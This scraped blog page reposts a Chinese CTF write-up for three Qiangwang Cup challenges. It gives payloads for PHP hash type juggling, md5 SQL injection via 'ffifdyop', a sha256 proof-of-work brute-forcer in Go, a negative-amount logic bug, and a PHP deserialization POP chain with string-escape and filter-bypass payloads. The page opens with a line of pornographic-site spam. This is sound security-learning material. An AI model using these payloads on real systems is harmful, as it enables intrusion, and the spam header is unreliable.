日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

第四届“强网杯”全国网络安全挑战赛_部分WP

發布時間:2024/9/30 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 第四届“强网杯”全国网络安全挑战赛_部分WP 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

全靠大佬帶飛,自己菜的一批,還需繼續努力!,把覺得有必要記錄的記錄一下。

Funhash

<?php include 'conn.php'; highlight_file("index.php"); //level 1 if ($_GET["hash1"] != hash("md4", $_GET["hash1"])) {die('level 1 failed'); }//level 2 if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])) {die('level 2 failed'); }//level 3 $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); var_dump($row); $result->free(); $mysqli->close();?>

level 2和level 3都比較常見,這里就不說了,主要是level 1,之前倒是沒見過這種的

$_GET["hash1"] != hash("md4", $_GET["hash1"])

需要滿足輸入的參數經過md4加密后還等于其本身,在外網查資料發現
https://crdx.org/post/hsctf-2019-md5-minus-minus
由于字符串的md4散列不太可能與字符串本身相同,因此可以推測PHP的類型篡改系統可能會被濫用。然后通過暴力破解得到一個值,這個值便可以滿足這個條件

0e251288019

所以最終payload為:

http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

得到flag

bank

題目給出了nc的地址,連過去發現

是通過sha256函數加密的而且加鹽了,需要輸入XXX才能繼續,那只有爆破了,但使用普通的用戶腳本去爆破這三位非常浪費時間,而且這個程序是限時的,如果在規定的時間內沒有完成操作,就會被彈出,所以爆破一定要快,這里用Go語言的腳本

package mainimport ("bytes""crypto/sha256""encoding/hex""fmt""runtime""sync""time" )var (chars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")tail = []byte("TeEo77GsmzVmVwDip")result, _ = hex.DecodeString("e1a16f0afb2efee2ffd27f9b34a68236a2dd056abaaeac140b5c68a454c15e46")wg sync.WaitGroup )func sha(s []byte) {for _, ch1 := range s {for _, ch2 := range chars {for _, ch3 := range chars {head := []byte{ch1, ch2, ch3}h := sha256.New()h.Write(head)h.Write(tail)if bytes.Equal(h.Sum(nil), result) {fmt.Println(string(head))}}}}wg.Done() }func main() {threads := runtime.NumCPU() // 獲取cpu邏輯核心數(包括超線程)start := time.Now()/* len(chars) = sum * sthreads + (sum+1) * (threads-sthreads) */snum := len(chars) / threadssthreads := threads*(1+snum) - len(chars)wg.Add(threads)for i := 0; i < threads; i++ {if i < sthreads {go sha(chars[snum*i : snum*(i+1)])} else {base := snum * sthreadsgo sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)])}}wg.Wait()end := time.Since(start)fmt.Println(end) }

進入輸入隊伍的token和名字,可以得到以下幾個功能

直接獲取flag是不行的,必須多余1000元,而目前只有10元,查看hint是AES加密,其他的功能查看也是一堆沒用的信息,只有transact這個功能可以輸入,就從這個地方進行入手。

發現只是輸入名字和數字,就試試看看是否存在邏輯漏洞,輸入了負數發現確實存在此漏洞,于是輸入lemon1 -992這樣總錢數便超過了1000,便可以獲取flag了。

web輔助

題目給出了源碼,一共有四個文件,先來看下class.php。

準備知識:

__construct 當一個對象創建時被調用, __invoke() 當腳本嘗試將對象調用為函數時觸發 __destruct() 對象被銷毀時觸發 __wakeup() 使用unserialize時觸發 __toString 當一個對象被當作一個字符串被調用。private變量序列化后需要在變量名的左右手動添加不可見字符%00 protected變量序列化后需要在變量前的星號*左右手動添加不可見字符,使其成為%00*%00。

class.php,這個文件便是入手點,要正確構造出pop鏈輸入才能獲取到flag

<?php class player{protected $user;protected $pass;protected $admin;public function __construct($user, $pass, $admin = 0){$this->user = $user;$this->pass = $pass;$this->admin = $admin;}public function get_admin(){return $this->admin;} }class topsolo{//上單protected $name;public function __construct($name = 'Riven'){$this->name = $name;}public function TP(){if (gettype($this->name) === "function" or gettype($this->name) === "object"){$name = $this->name;$name();}}public function __destruct(){$this->TP();}}class midsolo{//中單protected $name;public function __construct($name){$this->name = $name;}public function __wakeup(){if ($this->name !== 'Yasuo'){$this->name = 'Yasuo';echo "No Yasuo! No Soul!\n";}}public function __invoke(){$this->Gank();}public function Gank(){if (stristr($this->name, 'Yasuo')){echo "Are you orphan?\n";}else{echo "Must Be Yasuo!\n";}} }class jungle{//打野protected $name = "";public function __construct($name = "Lee Sin"){$this->name = $name;}public function KS(){system("cat /flag");}public function __toString(){$this->KS(); return ""; }} ?>


審計代碼發現,想要的flag并不在魔法函數中,而是在jungle類中的一個普通函數,所以這里就是終點,從輸入開始最終要觸發__toString才能獲取到flag。


由上往下分析,topsolo類中將對象調用為函數,所以在new一個新對象的時候可以new midsolo類的對象,這樣就觸發了midsolo類中的__invoke魔法函數

接下來midsolo類再new一個jungle類的對象,因為stristr函數將對象當作字符串調用,所以觸發了jungle類中的魔法函數__toString,這樣便可以得到完整的pop鏈了。

執行順序:

topsolo:__destruct->midsolo:__invoke()->jungle:__toString

如果不直觀的話可以看下圖(轉自星盟安全)

POP鏈的構造

<?php class topsolo{protected $name;public function __construct(){$this->name = new midsolo();} }class midsolo{protected $name;public function __construct($name){$this->name = new jungle();} } class jungle{protected $name = "";public function __construct($name = "Lee Sin"){$this->name = $name;} } $shy = new topsolo(); echo serialize($shy); ?>

序列化結果為:

O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}} 因為protected變量序列化后需要手動星號*左右手動添加不可見字符,使其成為%00*%00,所以最終的結果為: O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

這樣獲取flag的POP鏈構造好了,接下來就看要怎么運用了,繼續觀察代碼。

在index.php中,發現源碼對player類進行反序列化并寫入文件中

那便對player類進行序列化操作

<?php class player{protected $user;protected $pass;protected $admin;public function __construct($user, $pass, $admin = 0){$this->user = $user;$this->pass = $pass;$this->admin = $admin;}public function get_admin(){return $this->admin;} } $shy =new player(); echo serialize($shy); ?>

序列化后的結果:

O:6:"player":3:{s:7:"%00*%00user";N;s:7:"%00*%00pass";N;s:8:"%00*%00admin";i:0;}

在play.php中,調用該文件,并通過檢查后讀取文件最后進行反序列化操作

前面的都是正常的寫入和讀取沒有什么明顯的問題,最后再來看下common.php文件

發現存在反序列化字符串逃逸漏洞,因為過濾后字符變少,在寫入的時候是五個字符\0*\0,但當讀取的時候卻變成了chr(0)*chr(0)三個字符,所以吃掉了兩個字符。

原理這里就不再詳細解釋了,下面就開始進行構造

因為源碼中只對player類進行反序列化,所以我們要利用字符串逃逸漏洞將POP鏈給添加進去

O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

因為%00是一個字符,而不是3個,所以POP鏈的長度為109,如果直接將POP鏈輸入的話

輸入的部分就進入了pass中,所以就要思考怎么將原來的這一部分給吃掉";s:7:"%00*%00pass";s:109:"長度為23,因為每次替換會減少2個字符,因此需要替換11.5次,但不可能會替換11.5次的,所以要再添加一個字符,成24個字符";s:7:"%00*%00pass";s:109:"1,這樣前面只要替換12次,這個原來password就要進入到user中,而我們構造的就會代替之前的password.

所以payload為

username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 &password=1";s:7:"%00*%00pass";s:109:"1O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}";s:8:"%00*%00admin";i:0;}

但是這樣的payload還是錯的,因為源碼中 check 函數過濾了關鍵字 name,

將序列化字符串中表示變量(名)為字符串的小寫 s 換為大寫 S,即可解析變量中的 16 進制\6e\61\6d\65(即 name)。

除此之外,還需要跳過
這個魔法函數,

所以最終的payload為

?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 &password=1";S:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}

傳入到index.php,再查看play.php即可獲取到flag(這里是賽后qwzf大佬搭建的環境)

另外一個payload,把多的一位放在前面也可以

?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\01&password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}

總結:

通過這次比賽學到很多東西,尤其是反序列化字符串逃逸,感謝qwzf大佬的耐心解答,繼續沖沖沖!

總結

以上是生活随笔為你收集整理的第四届“强网杯”全国网络安全挑战赛_部分WP的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。